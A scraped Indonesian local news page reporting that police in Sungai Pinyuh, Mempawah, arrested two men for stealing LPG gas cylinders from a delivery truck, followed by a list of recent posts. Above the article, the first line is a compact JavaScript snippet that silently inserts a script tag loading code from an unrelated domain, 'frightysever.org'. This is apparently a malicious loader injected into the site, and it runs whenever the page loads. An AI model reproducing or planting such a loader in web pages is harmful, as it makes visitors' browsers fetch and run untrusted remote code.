(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Barat

Dua Maling Tabung Gas 3 Kg Dibekuk, Satu Pelaku Berusia 19 Tahun


KANALKALIMANTAN.COM – Tak sampai 24 jam sejak dilaporkan, Tim Unit Reskrim Polsek Sungai Pinyuh, Polres Menpawah, berhasil membekuk dua pelaku pencurian gas, yang terjadi pada Jumat (4/2/2022) sore kemarin. Kedua pelaku yakni JU 25 tahun, dan FA 19 tahun, kini sudah ditahan di Mapolsek Sungai Pinyuh untuk mempertanggungjawabkan perbuatannya.

Kapolres Mempawah, AKBP Fauzan Sukmawansyah, melalui Kapolsek Sungai Pinyuh, Kompol Anne Tria Sefyna, menjelaskan, penangkapan terhadap JU dan FA berawal dari laporan Ahmad Rudi Raharjo alias Ahong.

Pada Jumat (4/2/2022) sekitar pukul 05.30 WIB, Ahong hendak menghidupkan mesin truk bermuatan tabung gas elpiji 3Kg. Seperti biasa, sebelum berangkat mengantarkan tabung gas, ia mengecek kondisi muatan. Ahong kontan terkejut saat ia telah kehilangan dua tabung. Ia pun membuka rekaman CCTV, dan ternyata memang ada dua pelaku yang mengambil tabung gas yang bernilai Rp 340 ribu itu.

“Kedua pelaku melakukan pencurian dengan cara memanjat bak truk, kemudian kabur mengendarai sepeda motor,” ungkapnya, melansir dari SuaraKalbar.co.id –Jaringan Suara.com, Minggu (6/2/2022).

 

 

Baca juga: Antisipasi Lonjakan Covid-19, Banjarbaru Kembali Ambil Kebijakan PTM Terbatas 50 Persen

Adanya laporan Ahong segera ditindaklanjuti Panit II Reskrim Iptu Dewa Made Surita yang langsung melakukan penyelidikan.

“Kita bersyukur, hanya beberapa jam setelah dilaporkan, kedua pelaku yakni JU dan FA berhasil kita ringkus,” tegasnya.

Tersangka JU yang residivis atau kerap keluar masuk penjara ini ditangkap di kediamannya, Gang Seroja Indah, Kelurahan Sungai Pinyuh, Jumat (4/2/2022) sore. Dari nyanyian JU, terungkap nama FA yang kemudian ditangkap Tim Unit Reskrim Polsek Sungai Pinyuh saat melintasi Jalan Sungai Sahang, Desa Nusapati.

“Selain tersangka, kita juga telah mengamankan barang bukti. Keduanya langsung kita lakukan penahanan,” tutupnya. (kanalkalimantan.com/suara.com)

Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.